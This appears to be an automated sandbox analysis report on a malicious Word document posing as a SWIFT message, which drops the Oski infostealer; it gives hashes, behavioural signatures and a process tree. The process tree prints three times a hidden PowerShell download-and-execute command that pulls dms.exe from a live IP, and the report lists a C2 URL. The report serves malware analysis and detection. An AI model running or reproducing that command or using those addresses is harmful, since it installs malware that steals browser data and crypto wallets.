Analysis

  • max time kernel
    142s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    02/08/2021, 08:55

General

  • Target

    Swift Mesaji-20210802YPT21-150961.doc

  • Size

    228KB

  • MD5

    0b45c5ecbbdcf6765b5528371029cdd0

  • SHA1

    a02108313ffa4d961cc3f25e75d0b09feb170b8a

  • SHA256

    c5a7de281ab02afc017d37a36f97b33e6487d67c9cfe4400a544f6b45890919b

  • SHA512

    0f726f9982eaf2d5898e3f4220b02b54ba3c6de254a5b4a963052e18b39e409b904c8a9e3103fc1d4c0ddd93e40cc7bc8ff70670a3c5d2aea641d11715fba71a

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

httP://185.230.160.197/dms/dms.exe

Extracted

Family

oski

C2

http://2.56.59.226/www/

Signatures

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Swift Mesaji-20210802YPT21-150961.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1476
      • C:\Users\Admin\AppData\Roaming\dms.exe
        "C:\Users\Admin\AppData\Roaming\dms.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1916
        • C:\Users\Admin\AppData\Roaming\dms.exe
          "C:\Users\Admin\AppData\Roaming\dms.exe"
          4⤵
          • Executes dropped EXE
          PID:1756
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Users\Admin\AppData\Roaming\dms.exe
        "C:\Users\Admin\AppData\Roaming\dms.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:384
        • C:\Users\Admin\AppData\Roaming\dms.exe
          "C:\Users\Admin\AppData\Roaming\dms.exe"
          4⤵
          • Executes dropped EXE
          PID:972
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:924
      • C:\Users\Admin\AppData\Roaming\dms.exe
        "C:\Users\Admin\AppData\Roaming\dms.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:820
        • C:\Users\Admin\AppData\Roaming\dms.exe
          "C:\Users\Admin\AppData\Roaming\dms.exe"
          4⤵
          • Executes dropped EXE
          PID:1736
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1052

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/384-139-0x0000000000A40000-0x0000000000A41000-memory.dmp

            Filesize

            4KB

          • memory/820-147-0x0000000000CD0000-0x0000000000D2F000-memory.dmp

            Filesize

            380KB

          • memory/820-146-0x000000000A500000-0x000000000A5A8000-memory.dmp

            Filesize

            672KB

          • memory/820-141-0x0000000000380000-0x000000000038D000-memory.dmp

            Filesize

            52KB

          • memory/820-140-0x00000000003A0000-0x00000000003A1000-memory.dmp

            Filesize

            4KB

          • memory/924-95-0x0000000004900000-0x0000000004901000-memory.dmp

            Filesize

            4KB

          • memory/924-96-0x0000000004902000-0x0000000004903000-memory.dmp

            Filesize

            4KB

          • memory/1052-144-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

            Filesize

            8KB

          • memory/1176-129-0x00000000063B0000-0x00000000063B1000-memory.dmp

            Filesize

            4KB

          • memory/1176-93-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

            Filesize

            4KB

          • memory/1176-94-0x0000000004AC2000-0x0000000004AC3000-memory.dmp

            Filesize

            4KB

          • memory/1476-66-0x0000000002410000-0x0000000002411000-memory.dmp

            Filesize

            4KB

          • memory/1476-106-0x0000000006240000-0x0000000006241000-memory.dmp

            Filesize

            4KB

          • memory/1476-67-0x00000000045E0000-0x00000000045E1000-memory.dmp

            Filesize

            4KB

          • memory/1476-87-0x00000000056D0000-0x00000000056D1000-memory.dmp

            Filesize

            4KB

          • memory/1476-68-0x0000000000C00000-0x0000000000C01000-memory.dmp

            Filesize

            4KB

          • memory/1476-97-0x000000007EF30000-0x000000007EF31000-memory.dmp

            Filesize

            4KB

          • memory/1476-99-0x0000000006120000-0x0000000006121000-memory.dmp

            Filesize

            4KB

          • memory/1476-69-0x0000000000C02000-0x0000000000C03000-memory.dmp

            Filesize

            4KB

          • memory/1476-98-0x00000000060D0000-0x00000000060D1000-memory.dmp

            Filesize

            4KB

          • memory/1476-114-0x00000000062B0000-0x00000000062B1000-memory.dmp

            Filesize

            4KB

          • memory/1476-70-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

            Filesize

            4KB

          • memory/1476-71-0x0000000005280000-0x0000000005281000-memory.dmp

            Filesize

            4KB

          • memory/1736-148-0x0000000000400000-0x0000000000464000-memory.dmp

            Filesize

            400KB

          • memory/1736-152-0x0000000000400000-0x0000000000464000-memory.dmp

            Filesize

            400KB

          • memory/1916-128-0x0000000005010000-0x0000000005011000-memory.dmp

            Filesize

            4KB

          • memory/1916-126-0x0000000000E80000-0x0000000000E81000-memory.dmp

            Filesize

            4KB

          • memory/2004-60-0x0000000072FC1000-0x0000000072FC4000-memory.dmp

            Filesize

            12KB

          • memory/2004-63-0x00000000765F1000-0x00000000765F3000-memory.dmp

            Filesize

            8KB

          • memory/2004-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2004-61-0x0000000070A41000-0x0000000070A43000-memory.dmp

            Filesize

            8KB